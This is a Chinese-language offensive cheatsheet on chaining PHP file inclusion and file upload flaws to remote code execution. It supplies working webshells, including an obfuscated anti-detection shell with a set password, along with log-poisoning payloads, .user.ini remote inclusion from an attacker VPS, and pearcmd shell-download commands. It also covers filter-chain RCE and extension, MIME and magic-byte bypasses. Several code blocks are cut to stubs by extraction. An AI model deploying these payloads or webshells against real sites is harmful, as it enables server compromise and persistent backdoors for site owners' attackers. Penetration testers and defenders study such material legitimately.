文件包含与文件上传利用总结
前言
文件包含和文件上传是 Web 安全中最常见的两类漏洞,单独利用往往存在限制,但两者结合可以打出一套完整的 RCE 链。本文整理了两类漏洞的常见利用手法和绕过技巧,偏向实战向的 cheatsheet。
一、文件包含(LFI / RFI)
1.1 前置知识
PHP 中能触发文件包含的函数:
include()/include_once()— 包含失败只发 warning,继续执行require()/require_once()— 包含失败发 fatal error,停止执行- 以及各种封装了 include 的链:
include($c)配合伪协议或日志即可 getshell
影响利用的关键 php.ini 配置:
| 配置项 | 作用 | 利用影响 |
|---|---|---|
allow_url_fopen |
是否允许打开远程文件(HTTP/FTP) | RFI 需要开启 |
allow_url_include |
是否允许 include 远程文件 | RFI 需要开启;data:// 协议也需要开启此项 |
open_basedir |
限制 PHP 能访问的目录范围 | 限制了 LFI 的可读范围 |
register_argc_argv |
是否将 CLI 参数注册到 $_SERVER['argv'] |
pearcmd 利用需要开启 |
1.2 常见伪协议
1 | // === data:// — 直接传入 PHP 代码执行 === |
总结: include() 括号里的内容可以是:① 协议流 ② PHP 代码(通过 data 等) ③ 文件路径。
注意:
data://协议在allow_url_include=Off时不可用;php://input不受此限制。
1.3 日志文件包含(LFI → RCE 经典链)
当存在 LFI 但没法直接伪协议 getshell 时,通过包含服务器日志来执行 PHP 代码。
Apache 日志:
1 | 默认路径:/var/log/apache2/access.log 或 /var/log/httpd/access_log |
Nginx 日志:
1 | 默认路径:/var/log/nginx/access.log |
利用方式:在 HTTP 请求中(如 User-Agent 或 URL)夹带 <?php system('id');?>,再包含该日志文件即可执行代码。
其他可包含的日志 / 文件:
| 文件路径 | 说明 |
|---|---|
/var/log/apache2/access.log |
Apache 访问日志 |
/var/log/apache2/error.log |
Apache 错误日志 |
/var/log/nginx/access.log |
Nginx 访问日志 |
/var/log/nginx/error.log |
Nginx 错误日志 |
/proc/self/environ |
当前进程环境变量(User-Agent 写入) |
/proc/self/fd/N |
文件描述符(N 为数字,逐个爆破) |
~/.bash_history |
用户命令历史 |
/var/log/mail.log |
邮件日志 |
/var/log/vsftpd.log |
FTP 日志 |
1.4 条件竞争 — Session 文件包含
利用 PHP_SESSION_UPLOAD_PROGRESS 特性,在上传过程中临时文件里会写入 session 数据,通过多线程竞争在临时文件被删除前包含它。
1 | import requests |
要点:
- 必须设置
PHPSESSID=lyz并包含/tmp/sess_lyz PHP_SESSION_UPLOAD_PROGRESS字段名不可改动- 传一个大文件以延长临时文件存活时间
1.5 Pear 文件包含
利用条件:
- 安装了 pear 扩展
- 知道
pearcmd.php路径(默认/usr/local/lib/php/pearcmd.php,其他可能路径:/usr/share/php/pearcmd.php) - 开启了
register_argc_argv($_SERVER['argv']才会生效) - 有包含点,能包含 php 后缀文件,没有
open_basedir限制
Payload:
1 | # 方式一:远程下载 shell 到目标目录 |
1.6 Filter Chain — LFI 直接 RCE
PHP filter chain 可以把任意内容”编织”到输出中,实现无需上传文件、无需日志包含的纯 LFI → RCE。原理是利用 iconv 字符集转换的编码特性,将多个 filter 串联生成目标 payload。
常用 filter 及作用:
| Filter | 功能 |
|---|---|
string.rot13 |
ROT13 编码 |
string.toupper |
转大写 |
string.tolower |
转小写 |
string.strip_tags |
去除 PHP/HTML 标记 |
convert.base64-encode |
Base64 编码 |
convert.base64-decode |
Base64 解码 |
convert.iconv.UCS-2LE.UCS-2BE |
字符集转换(常用于格式调整) |
zlib.deflate |
压缩 |
zlib.inflate |
解压 |
convert.quoted-printable-encode |
加 =0A 编码 |
构造 payload 示例:
1 | # 基础读文件 |
可用字符集(iconv 支持的编码):
1 | UCS-4 UCS-4BE UCS-4LE UCS-2 UCS-2BE UCS-2LE |
更长的 filter chain 可利用 synacktiv/php_filter_chain_generator 脚本自动生成。
1.7 可能出现的文件泄露
| 文件 / 场景 | 说明 |
|---|---|
.index.php.swp |
Vim 异常退出产生的交换文件 |
index.php~ |
编辑器备份文件 |
index.php.bak |
手动备份 |
.DS_Store |
macOS 目录信息泄露 |
robots.txt |
爬虫规则,有时泄露敏感路径 |
.git/HEAD |
Git 仓库泄露 |
composer.json |
依赖信息 |
phpinfo.php |
PHP 信息泄露 |
二、文件上传
2.1 后缀名绕过
黑名单绕过 — 尝试冷门可执行后缀:
1 | .php .php3 .php4 .php5 .php7 .php8 |
Windows 特性绕过:
1 | 1.php. → Windows 自动去除尾部点 |
双后缀绕过:
1 | 1.php.jpg |
大小写绕过:
1 | 1.Php |
2.2 MIME 类型绕过
常见 MIME 类型对照:
| 文件类型 | Content-Type |
|---|---|
| GIF | image/gif |
| JPEG | image/jpeg |
| PNG | image/png |
| HTML | text/html |
| 纯文本 | text/plain |
| JS | text/javascript |
application/pdf |
|
| 二进制 | application/octet-stream |
BurpSuite 改 Content-Type 即可绕过简单的前端 / 后端 MIME 校验。
2.3 .htaccess 与 .user.ini
.htaccess(Apache)— 将特定后缀解析为 PHP:
1 | # 方式一:精准匹配 |
.htaccess 中的注释符:\x00 和 #。
.user.ini(Nginx / Apache + PHP-FPM / FastCGI):
1 | auto_prepend_file=shell.png |
效果:该目录下所有 PHP 页面执行前会先包含 shell.png。
进阶:
1 auto_prepend_file=php://input然后访问任意 PHP 页面,POST 传 shell 即可执行。
远程包含:
1 auto_prepend_file=http://vps/shell.txt
2.4 图片马与函数绕过
(1)图片写马
在图片数据中嵌入 <?php @eval($_POST['cmd']);?>。直接用 copy 命令或十六进制编辑器操作。
(2)二次渲染绕过
部分 CMS(如 Drupal、WordPress 部分插件)会对上传图片做二次渲染(resize/compress),会将嵌入的 PHP 代码清除。需要用脚本分析渲染后仍保留的字节区域,把 shell 写入那些区域。
(3)图片伪造 — getimagesize / exif_imagetype 绕过
XBM 图片:
1 |
|
WBMP 图片(文件头):
1 | \x00\x00\x85\x85 |
\x00\x00\x85\x85只能放在文件开头#define width 1337 #define height 1337可以放在文件任意位置
可用于 .htaccess 上传时绕过 getimagesize() 和 exif_imagetype() 校验。
(4)文件头绕过(Magic Bytes):
| 文件类型 | 十六进制文件头 |
|---|---|
| GIF | 47 49 46 38 39 61 (GIF89a) |
| JPEG | FF D8 FF |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
| BMP | 42 4D |
在文件头部加上这些字节即可绕过文件头校验。
2.5 内容检测绕过
(1)PHP 短标签:
1 | eval($_POST[1]); |
(2)大括号绕过方括号:
1 | eval($_POST{1}); |
(3)拼接绕过:
1 | include '/var/l'.'og/nginx/access.l'.'og' |
(4)异或拼接:
1 | $a="]" $d="s" $b=$d^$a $g="l" $o="o" $c="g" include"/var/$g$o$c/nginx/access$b$g$o$c" |
(5)变量拼接 shell:
1 |
|
(6)十六进制 / HTTP 头马:
1 | eval(hex2bin("6576616c28245f504f53545b22636d64225d293b")) |
(7)Script 标签马:
1 | <script language="php">@eval($_POST['cmd']);</script> |
(8)免杀马(密码 TyKPuntU):
1 | $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.'')); |
(9)非典型马(无 $ 符号执行):
访问 /upload/1.php?1=system&2=ls 即可执行命令。
2.6 上传竞争条件(TOCTOU)
部分网站先将文件上传到临时目录,校验通过后再移动到目标目录。攻击思路:在校验和移动之间的时间窗口内,通过多线程不断访问上传的文件,抢在删除 / 重命名前执行。
2.7 SVG 文件攻击
SVG 本质是 XML,可以嵌入 JavaScript / PHP:
1 |
|
如果目标支持 SVG 上传且未做严格过滤,可能造成 XSS 或 SSRF(通过 <foreignObject> 等)。
三、一句话木马变形
3.1 PHP5 专用(依赖已废弃特性)
1 | $st=@create_function('',$_GET['a']);$st(); |
/e 修饰符在 PHP5 中会将替换结果作为 PHP 代码执行,PHP7+ 已移除。
3.2 PHP7 通用
1 | @mbereg_replace('.*',$_GET['a'],'','ee'); |
ee 模式同样执行替换结果。
3.3 通杀型 — 回调函数 shell
1 | $st=$_GET['a']('',$_GET['b']);$st(); |
使用时传 ?a=system&b=ls。
3.4 编码型
取反运算(绕过关键字):
1 |
|
ASCII 拼接:
1 |
|
四、服务器解析漏洞
4.1 IIS
目录解析(IIS 5.x / 6.0):
创建名为 *.asp / *.asa / *.cer / *.cdx 的文件夹后,该文件夹下任意扩展名的文件都会被当作 ASP 执行。例如 /test.asp/1.jpg 会以 ASP 执行。
文件解析(IIS 5.x / 6.0):
分号 ; 及之后的内容不被解析:a.asp;.jpg 被当成 a.asp 执行。IIS 6.0 默认可执行文件还包含 .asa 和 .cer。
IIS 7.0 / 7.5(FastCGI):
类似 Nginx 的路径回溯解析。当 /1.jpg/2.txt/3.php 不存在时,去掉最后的 /3.php 判断 /1.jpg/2.txt,依此类推。
4.2 Nginx
路径回溯解析:
上传 123.txt 后访问 123.txt/123.php,由于 123.php 不存在,Nginx 回溯到 123.txt 并用 PHP 解析其内容。
CGI 参数注入(CVE-2012-1823 / CVE-2019-11043 等):
解析 PATH_INFO 时的不当处理可能导致参数注入。
4.3 Windows 特性
1 | 1.php. |
这些在 Windows 下会自动修正为 .php,但在 Linux 下无效。因此 Windows + IIS 的组合下可以绕过黑名单后缀检测。
总结
文件包含和文件上传很少孤立出现,实际渗透中常见的组合链:
- 上传 + 包含:上传图片马 / user.ini → LFI 包含执行
- 日志注入 + 包含:HTTP header 中写入 PHP 代码 → include 日志文件 → RCE
- Session 竞争 + 包含:
PHP_SESSION_UPLOAD_PROGRESS写入 session 文件 → 条件竞争包含 - pearcmd + 包含:register_argc_argv → pearcmd.php install/config-create 写 shell
- Filter Chain + 包含:纯 LFI 无上传,直接靠 filter chain 生成 RCE payload
文件包含决定了”怎么读”,文件上传决定了”怎么写”。两条路任何一条通了,RCE 就不远了。